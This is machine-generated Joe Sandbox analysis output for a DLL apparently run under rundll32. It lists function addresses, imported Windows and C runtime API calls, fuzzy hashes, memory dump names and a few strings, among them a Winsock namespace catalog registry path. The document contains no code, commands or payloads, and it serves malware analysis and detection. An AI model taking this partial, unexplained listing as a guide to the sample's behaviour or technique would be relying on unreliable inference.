Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$??3@EnterLeave
String ID:
API String ID: 3906572401-0
Opcode ID: 8704770b73637da07f2765808fbc5d80e4dde8a3e535cddf5f679fa9373d9d11
Instruction ID: 485792f3aa206c277c5c0904b00aba5ea33dd2ed139350c249341fca4c3fabed
Opcode Fuzzy Hash: 8704770b73637da07f2765808fbc5d80e4dde8a3e535cddf5f679fa9373d9d11
Instruction Fuzzy Hash: 5CB15732B05B448AEB51CFA0A8407DD33F5F748798F144526EE9867B88DF34C65AD354

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180070F00 Relevance: 7.7, APIs: 5, Instructions: 174COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.MSVCRT ref: 0000000180070F36

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: 8b2e5358ef7994b7672dda4e212676a9332a6cdbfea30cd8ee4f2d86f2200a94
Instruction ID: 273587a47ae5326c80e6ba55da8392b357747b6508265d18e5e13f97f53468fd
Opcode Fuzzy Hash: 8b2e5358ef7994b7672dda4e212676a9332a6cdbfea30cd8ee4f2d86f2200a94
Instruction Fuzzy Hash: 7471A572204B88CAE7AA8F19A4403EE77A4FB887D4F148115FE9947BD4DF3AC604C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016CA8 Relevance: 7.6, APIs: 5, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

??2@YAPEAX_K@Z.MSVCRT ref: 0000000180016D26
??2@YAPEAX_K@Z.MSVCRT ref: 0000000180016D4B
memmove.MSVCRT(?,?,?,0000000180016E29), ref: 0000000180016D69
??3@YAXPEAX@Z.MSVCRT ref: 0000000180016DA1
memmove.MSVCRT(?,?,?,?,?,?,?,0000000180016E29), ref: 0000000180016E10

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??2@memmove$??3@
String ID:
API String ID: 232491532-0
Opcode ID: 36aecff153c17e78cc281762afab7df910fd19be64e25fb5c31b0b5d4ec441f6
Instruction ID: 28467c757ab6f7ef32b6ddf95ff48fc265dfbbceda238bfa6dff49904db51385
Opcode Fuzzy Hash: 36aecff153c17e78cc281762afab7df910fd19be64e25fb5c31b0b5d4ec441f6
Instruction Fuzzy Hash: 0C41C432B05B8881EF568B16F9403996361E748BE0F548725AB7A07BE9DF78C6958340

Uniqueness

Uniqueness Score: -1.00%

Function 000000018006A658 Relevance: 7.6, APIs: 5, Instructions: 113COMMON

Download Yara Rule

APIs

_swprintf_c_l.LIBCMT ref: 000000018006A6B0
memmove.MSVCRT(00000000,00000008,00000000,000000018006AA37,?,?,?,?,?,?,?,?,?,?,00000003,?), ref: 000000018006A6DB
memmove.MSVCRT(00000000,00000008,00000000,000000018006AA37,?,?,?,?,?,?,?,?,?,?,00000003,?), ref: 000000018006A755

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: memmove$_swprintf_c_l
String ID:
API String ID: 3930809162-0
Opcode ID: 4d957fd311e85dbc9e9e1d2fcdfd49009c8516e907acacc0d6bfdbff04455b87
Instruction ID: 2e3324a3b5d682f35c297bfefc02d538748b26edc97be9d81ac6111acbd6bae8
Opcode Fuzzy Hash: 4d957fd311e85dbc9e9e1d2fcdfd49009c8516e907acacc0d6bfdbff04455b87
Instruction Fuzzy Hash: 0A41E33231875496EBA5DA26D90079A67A2BB4DBC0F248015AF1A43F41DE35D6688B40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180044CE4 Relevance: 7.6, APIs: 6, Instructions: 110COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000180044D24
LeaveCriticalSection.KERNEL32 ref: 0000000180044D3A
LeaveCriticalSection.KERNEL32 ref: 0000000180044D71
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,0000000180044EED), ref: 0000000180044DDC
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,0000000180044EED), ref: 0000000180044DF2
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,0000000180044EED), ref: 0000000180044E29

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: 84f7991fb58de1b865a10277cce647e74e53e0d7bb9d3c9fb8eb0733b83dca90
Instruction ID: 73bd4c9cd9396375e0c1b942217bf14bfc10cb3082dae23d56ea31479293823c
Opcode Fuzzy Hash: 84f7991fb58de1b865a10277cce647e74e53e0d7bb9d3c9fb8eb0733b83dca90
Instruction Fuzzy Hash: 19413932641B0896FA869F21EC943E83764F749FD9F598115EAA50B3A5CF28C74EC304

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016090 Relevance: 7.6, APIs: 5, Instructions: 99COMMON

Download Yara Rule

APIs

??2@YAPEAX_K@Z.MSVCRT ref: 000000018001611F
??2@YAPEAX_K@Z.MSVCRT ref: 0000000180016144
memmove.MSVCRT(?,?,?,?,?,?,000000C8,0000000180015AD6), ref: 000000018001616B
??3@YAXPEAX@Z.MSVCRT ref: 00000001800161A1
memmove.MSVCRT(?,?,?,?,?,?,000000C8,0000000180015AD6), ref: 00000001800161AB

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??2@memmove$??3@
String ID:
API String ID: 232491532-0
Opcode ID: 4c8a09d1fefffe74558815fc45e4f8bd62bc61723e2fbaaf498aee53098e704a
Instruction ID: 3308181ea52ff5a0dd97f5d36b69886329373971ad435e2f25c4df82c4de258d
Opcode Fuzzy Hash: 4c8a09d1fefffe74558815fc45e4f8bd62bc61723e2fbaaf498aee53098e704a
Instruction Fuzzy Hash: 8231D332705B8894EF5ACF16D9443986362F709FE0F588615EE6E07BE6DE78D299C300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800161EC Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,7FFFFFFFFFFFFFFF,?,?,?,?,?,?,000000C8,0000000180015AD6), ref: 0000000180016298
memmove.MSVCRT(?,?,?,7FFFFFFFFFFFFFFF,?,?,?,?,?,?,000000C8,0000000180015AD6), ref: 00000001800162A6
??3@YAXPEAX@Z.MSVCRT ref: 00000001800162DE
memmove.MSVCRT(?,?,?,7FFFFFFFFFFFFFFF,?,?,?,?,?,?,000000C8,0000000180015AD6), ref: 00000001800162E8
memmove.MSVCRT(?,?,?,7FFFFFFFFFFFFFFF,?,?,?,?,?,?,000000C8,0000000180015AD6), ref: 00000001800162F6

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: memmove$??3@
String ID:
API String ID: 2321372689-0
Opcode ID: 2a291cfa02ae191c963c7aa5d4289e2a243c3539a711814b18b996a7d7b87c53
Instruction ID: b2b38ff55e60cbfe57fc328909b4bad170525be2db7207aa5bf6da73de3f6202
Opcode Fuzzy Hash: 2a291cfa02ae191c963c7aa5d4289e2a243c3539a711814b18b996a7d7b87c53
Instruction Fuzzy Hash: 7831D272700A8891DB569F12E9043DE6351F748FD0F948522EF5E4BBA6DE3CC259C300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800442DC Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 0000000180044380
memmove.MSVCRT(?,00000001,?,0000000180043D7F), ref: 000000018004439C
memmove.MSVCRT(?,00000001,?,0000000180043D7F), ref: 00000001800443B5
memmove.MSVCRT(?,00000001,?,0000000180043D7F), ref: 00000001800443CB
memmove.MSVCRT(?,00000001,?,0000000180043D7F), ref: 00000001800443D9

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: memmove$??3@
String ID:
API String ID: 2321372689-0
Opcode ID: d7a3fd22b0ebd3110ce60677b93657e49589d130bcba2fb1c65b72589847b85a
Instruction ID: 762f5997fa826d969e67cf094c143b4ceaf1448be14793aa958531d929a095e6
Opcode Fuzzy Hash: d7a3fd22b0ebd3110ce60677b93657e49589d130bcba2fb1c65b72589847b85a
Instruction Fuzzy Hash: 8231A172300E9885D94AEE5286843DCA765F74DFD4F66C521BF680BB96CE38D24AC304

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180057FF0 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

WindowFromPoint.USER32 ref: 000000018005802B
GetAncestor.USER32 ref: 0000000180058051
GetWindowRect.USER32 ref: 0000000180058071
memset.MSVCRT ref: 00000001800580D5
StrCmpIW.SHLWAPI ref: 00000001800580F6

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Window$AncestorFromPointRectmemset
String ID:
API String ID: 3039914759-0
Opcode ID: fc34e6d246657f66188d6f8573fbe65fb936fbcf3c4029c0371e48d01d16a740
Instruction ID: 06be680ac09e87041cb82e4d3d0d5ca659cc845397dc933fd24aa54eca265516
Opcode Fuzzy Hash: fc34e6d246657f66188d6f8573fbe65fb936fbcf3c4029c0371e48d01d16a740
Instruction Fuzzy Hash: 1931CD32615A4486F7E28F25DC487DA63A4FB8C7C4F449020FE5977694EF39CA99D700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004B34 Relevance: 7.6, APIs: 5, Instructions: 82COMMON

Download Yara Rule

APIs

iswspace.MSVCRT ref: 0000000180004B51
iswspace.MSVCRT ref: 0000000180004B62
_errno.MSVCRT ref: 0000000180004BC5
memmove.MSVCRT ref: 0000000180004BE4
_errno.MSVCRT ref: 0000000180004C25

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _errnoiswspace$memmove
String ID:
API String ID: 972559988-0
Opcode ID: 62484f1315cc315bf352517e41dc366093ff24740a399b805c186dd2600ce3b7
Instruction ID: aea15859d9ef88290176a7c9cabebc096ef147a52e12ca1286494642d1a9418c
Opcode Fuzzy Hash: 62484f1315cc315bf352517e41dc366093ff24740a399b805c186dd2600ce3b7
Instruction Fuzzy Hash: 3531CBB3601A4886EB99DF54D9847ED33A0F788BC0F18C019EB4A0B792DF3DDA588744

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010EFC Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 0000000180011890: EnterCriticalSection.KERNEL32 ref: 00000001800118C7
Part of subcall function 0000000180011890: ??3@YAXPEAX@Z.MSVCRT ref: 0000000180011949
Part of subcall function 0000000180011890: LeaveCriticalSection.KERNEL32 ref: 0000000180011965

DeleteCriticalSection.KERNEL32(?,?,?,?,?,0000000180006D7E), ref: 0000000180010F28

Part of subcall function 00000001800101E0: ??3@YAXPEAX@Z.MSVCRT ref: 000000018001021F

??3@YAXPEAX@Z.MSVCRT ref: 0000000180010F67
??3@YAXPEAX@Z.MSVCRT ref: 0000000180010FCC
??3@YAXPEAX@Z.MSVCRT ref: 0000000180010FE2
DeleteCriticalSection.KERNEL32(?,?,?,?,?,0000000180006D7E), ref: 0000000180011004

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??3@$CriticalSection$Delete$EnterLeave
String ID:
API String ID: 274858031-0
Opcode ID: a29c501b7cb5b62190f2ee82e18e93e4c2b49ef20e282c724fca1469eff036db
Instruction ID: d11087617417198f0cbd7eb66d5c9be171642f9dfb033e604718f16c8d919299
Opcode Fuzzy Hash: a29c501b7cb5b62190f2ee82e18e93e4c2b49ef20e282c724fca1469eff036db
Instruction Fuzzy Hash: 49312A36201E88A2EB569F64E4913DDA360F7897D0F54C522EB9D437A1DF78DAA9C300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180072640 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 0000000180072658

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: ef9a1a2487f9f747f790f9b6156918c71975c41e3d5b8d109555e51fa42619a5
Instruction ID: a73d7fb5a67d4d67bba371cf0b3796608c1c1b370b7326418a0f08ed132aa8b6
Opcode Fuzzy Hash: ef9a1a2487f9f747f790f9b6156918c71975c41e3d5b8d109555e51fa42619a5
Instruction Fuzzy Hash: D411E03270468881EAE66B25B1403DE63D0E7487E0F09A226FBAA1B7C5CE3DD5D79714

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180072700 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 0000000180072718

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: c89821886ccf670e100f3b8fb91d8e831a6b96267fb5c2ba29df3964e1113532
Instruction ID: ac3a4cfa431d0ef0eaea2260b684207aebe75cd91c02b4061f0f196fb58aac9a
Opcode Fuzzy Hash: c89821886ccf670e100f3b8fb91d8e831a6b96267fb5c2ba29df3964e1113532
Instruction Fuzzy Hash: 2611013270878881EAEA6B25B2403DE6391E7487D0F08A125BBAA0B3C5DE3DD5979304

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800543E4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 211COMMON

Download Yara Rule

APIs

??2@YAPEAX_K@Z.MSVCRT ref: 00000001800544D5
??2@YAPEAX_K@Z.MSVCRT ref: 00000001800544FA
??3@YAXPEAX@Z.MSVCRT ref: 000000018005469A

Strings

%s\NameSpace_Catalog5\Catalog_Entries\%012d, xrefs: 00000001800543EC

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??2@$??3@
String ID: %s\NameSpace_Catalog5\Catalog_Entries\%012d
API String ID: 1245774677-2131870787
Opcode ID: af5baddc67ad33526a33c39d65950fd72fb0df208da0cc0d422425bada8017cf
Instruction ID: 67395956b14f0255dc157d00751ecdd5e79b91100998fde5bc7e771f553c8d3c
Opcode Fuzzy Hash: af5baddc67ad33526a33c39d65950fd72fb0df208da0cc0d422425bada8017cf
Instruction Fuzzy Hash: 5C81AFB3700B4882DE65CF15E8447E9A3A5F749BD4F54C222BA9D1B794EF7AD289C300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800546E8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

??2@YAPEAX_K@Z.MSVCRT ref: 00000001800547CD
??2@YAPEAX_K@Z.MSVCRT ref: 00000001800547FA
??3@YAXPEAX@Z.MSVCRT ref: 0000000180054933

Strings

%s\NameSpace_Catalog5\Catalog_Entries\%012d, xrefs: 00000001800546F0

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??2@$??3@
String ID: %s\NameSpace_Catalog5\Catalog_Entries\%012d
API String ID: 1245774677-2131870787
Opcode ID: dfcd8af31725850ee712bb16f67c2dba61d9d14ccc8acf01942b48f66b795e08
Instruction ID: ceb8e503b58a09837b0f64c0a513370a87b020a4d694bdf072cc47396662b60f
Opcode Fuzzy Hash: dfcd8af31725850ee712bb16f67c2dba61d9d14ccc8acf01942b48f66b795e08
Instruction Fuzzy Hash: 8251C47371579C82EE59CB16E5143EA6364B34DBD4F108626BEAD1BBC4DF39C2558300

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000C374 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140synchronizationtimeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000000018000C3B5
ReleaseMutex.KERNEL32 ref: 000000018000C520

Strings

%I64d, xrefs: 000000018000C3DE
__LastModified__, xrefs: 000000018000C43A

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Time$FileMutexReleaseSystem
String ID: %I64d$__LastModified__
API String ID: 4233779698-1650611527
Opcode ID: 3e8cf2df84acdc051a18ea2821a1bd380114409e3e0b0fa2bea459e4e782fd62
Instruction ID: 09458c959511dc8cfabe6624f5c81a29e97a68172d7e622df1c6d3cc80163a48
Opcode Fuzzy Hash: 3e8cf2df84acdc051a18ea2821a1bd380114409e3e0b0fa2bea459e4e782fd62
Instruction Fuzzy Hash: FF518D72610A0986EB96DB39C8507ED33A0FB49BE8F448321BE3A476E5DF24C649C341

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132registryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

RegOpenKeyExW.ADVAPI32 ref: 0000000180011234
RegQueryValueExW.ADVAPI32 ref: 0000000180011270
RegCloseKey.ADVAPI32 ref: 0000000180011280

Strings

dfafidjalkfjdalksjfjklfads, xrefs: 0000000180011165, 0000000180011186, 00000001800111E7

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CloseHeapOpenProcessQueryValue
String ID: dfafidjalkfjdalksjfjklfads
API String ID: 3302636555-1647371548
Opcode ID: 48f47d4bc6a301fdbed38b274010a51a5309dac9b5fb3e5a400d4c7b3d944c6d
Instruction ID: 983dc216bf69003e419ddceaeab5995bac8f8453ed4f95b95033b7c069322061
Opcode Fuzzy Hash: 48f47d4bc6a301fdbed38b274010a51a5309dac9b5fb3e5a400d4c7b3d944c6d
Instruction Fuzzy Hash: 27515F32701E488AEB55DF65D8807CD33A0F789BD8F448229EA2D47BA5DF38C619C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180048BC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000180048C08

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

Part of subcall function 0000000180048D8C: _vsnwprintf_s.LEGACY_STDIO_DEFINITIONS ref: 0000000180048DAE

IsBadStringPtrW.KERNEL32 ref: 0000000180048CE6

Strings

error_code, xrefs: 0000000180048C48
com, xrefs: 0000000180048C0D, 0000000180048C4F

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
